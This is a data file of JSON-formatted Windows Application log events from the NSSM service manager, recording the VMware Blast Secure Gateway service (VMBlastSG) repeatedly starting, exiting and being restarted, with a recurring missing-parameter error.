{"@timestamp":1646646476096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155035}}
{"@timestamp":1646646476096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155036}}
{"@timestamp":1646646604609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155037}}
{"@timestamp":1646646604609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155038}}
{"@timestamp":1646646604612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151296","0"]}}},"module":"Application","provider":"nssm","sequence":155039}}
{"@timestamp":1646646604613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151296","151296","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155040}}
{"@timestamp":1646646604629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155041}}
{"@timestamp":1646646604629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155042}}
{"@timestamp":1646646604630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155043}}
{"@timestamp":1646646604631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155044}}
{"@timestamp":1646646733120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155045}}
{"@timestamp":1646646733121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155046}}
{"@timestamp":1646646733121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150172","0"]}}},"module":"Application","provider":"nssm","sequence":155047}}
{"@timestamp":1646646733122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150172","150172","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155048}}
{"@timestamp":1646646733137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155049}}
{"@timestamp":1646646733137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155050}}
{"@timestamp":1646646733138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155051}}
{"@timestamp":1646646733139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155052}}
{"@timestamp":1646646861806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155053}}
{"@timestamp":1646646861807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155054}}
{"@timestamp":1646646861808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150812","0"]}}},"module":"Application","provider":"nssm","sequence":155055}}
{"@timestamp":1646646861809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150812","150812","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155056}}
{"@timestamp":1646646861826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155057}}
{"@timestamp":1646646861827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155058}}
{"@timestamp":1646646861827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155059}}
{"@timestamp":1646646861829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155060}}
{"@timestamp":1646646990437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155061}}
{"@timestamp":1646646990438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155062}}
{"@timestamp":1646646990438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150248","0"]}}},"module":"Application","provider":"nssm","sequence":155063}}
{"@timestamp":1646646990439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150248","150248","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155064}}
{"@timestamp":1646646990455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155065}}
{"@timestamp":1646646990455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155066}}
{"@timestamp":1646646990456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155067}}
{"@timestamp":1646646990457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155068}}
{"@timestamp":1646647118941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155069}}
{"@timestamp":1646647118943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155070}}
{"@timestamp":1646647118944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151396","0"]}}},"module":"Application","provider":"nssm","sequence":155071}}
{"@timestamp":1646647118945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151396","151396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155072}}
{"@timestamp":1646647118961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155073}}
{"@timestamp":1646647118962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155074}}
{"@timestamp":1646647118962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155075}}
{"@timestamp":1646647118963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155076}}
{"@timestamp":1646647247474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155077}}
{"@timestamp":1646647247474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155078}}
{"@timestamp":1646647247475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152376","0"]}}},"module":"Application","provider":"nssm","sequence":155079}}
{"@timestamp":1646647247475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152376","152376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155080}}
{"@timestamp":1646647247491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155081}}
{"@timestamp":1646647247492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155082}}
{"@timestamp":1646647247492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155083}}
{"@timestamp":1646647247493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155084}}
{"@timestamp":1646647376185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155085}}
{"@timestamp":1646647376185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155086}}
{"@timestamp":1646647376186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151012","0"]}}},"module":"Application","provider":"nssm","sequence":155087}}
{"@timestamp":1646647376186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151012","151012","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155088}}
{"@timestamp":1646647376203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155089}}
{"@timestamp":1646647376204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155090}}
{"@timestamp":1646647376204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155091}}
{"@timestamp":1646647376205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155092}}
{"@timestamp":1646647504920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155093}}
{"@timestamp":1646647504921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155094}}
{"@timestamp":1646647504921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152196","0"]}}},"module":"Application","provider":"nssm","sequence":155095}}
{"@timestamp":1646647504922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152196","152196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155096}}
{"@timestamp":1646647504937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151808","0"]}}},"module":"Application","provider":"nssm","sequence":155097}}
{"@timestamp":1646647504937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151808","152196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155098}}
{"@timestamp":1646647504951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155099}}
{"@timestamp":1646647504952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155100}}
{"@timestamp":1646647504952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155101}}
{"@timestamp":1646647504953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155102}}
{"@timestamp":1646647633481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155103}}
{"@timestamp":1646647633481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155104}}
{"@timestamp":1646647633482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151868","0"]}}},"module":"Application","provider":"nssm","sequence":155105}}
{"@timestamp":1646647633482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151868","151868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155106}}
{"@timestamp":1646647633498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155107}}
{"@timestamp":1646647633498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155108}}
{"@timestamp":1646647633499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155109}}
{"@timestamp":1646647633499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155110}}
{"@timestamp":1646647761997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155111}}
{"@timestamp":1646647761999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155112}}
{"@timestamp":1646647761999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152144","0"]}}},"module":"Application","provider":"nssm","sequence":155113}}
{"@timestamp":1646647762000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152144","152144","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155114}}
{"@timestamp":1646647762015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155115}}
{"@timestamp":1646647762016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155116}}
{"@timestamp":1646647762016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155117}}
{"@timestamp":1646647762017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155118}}
{"@timestamp":1646647890526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155119}}
{"@timestamp":1646647890527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155120}}
{"@timestamp":1646647890527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151528","0"]}}},"module":"Application","provider":"nssm","sequence":155121}}
{"@timestamp":1646647890527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151528","151528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155122}}
{"@timestamp":1646647890543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155123}}
{"@timestamp":1646647890544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155124}}
{"@timestamp":1646647890544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155125}}
{"@timestamp":1646647890545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155126}}
{"@timestamp":1646648019193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155127}}
{"@timestamp":1646648019194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155128}}
{"@timestamp":1646648019194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150908","0"]}}},"module":"Application","provider":"nssm","sequence":155129}}
{"@timestamp":1646648019194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150908","150908","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155130}}
{"@timestamp":1646648019210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155131}}
{"@timestamp":1646648019210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155132}}
{"@timestamp":1646648019211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155133}}
{"@timestamp":1646648019212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155134}}
{"@timestamp":1646648147741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155135}}
{"@timestamp":1646648147742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155136}}
{"@timestamp":1646648147742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151412","0"]}}},"module":"Application","provider":"nssm","sequence":155137}}
{"@timestamp":1646648147743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151412","151412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155138}}
{"@timestamp":1646648147757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151576","0"]}}},"module":"Application","provider":"nssm","sequence":155139}}
{"@timestamp":1646648147758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151576","151412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155140}}
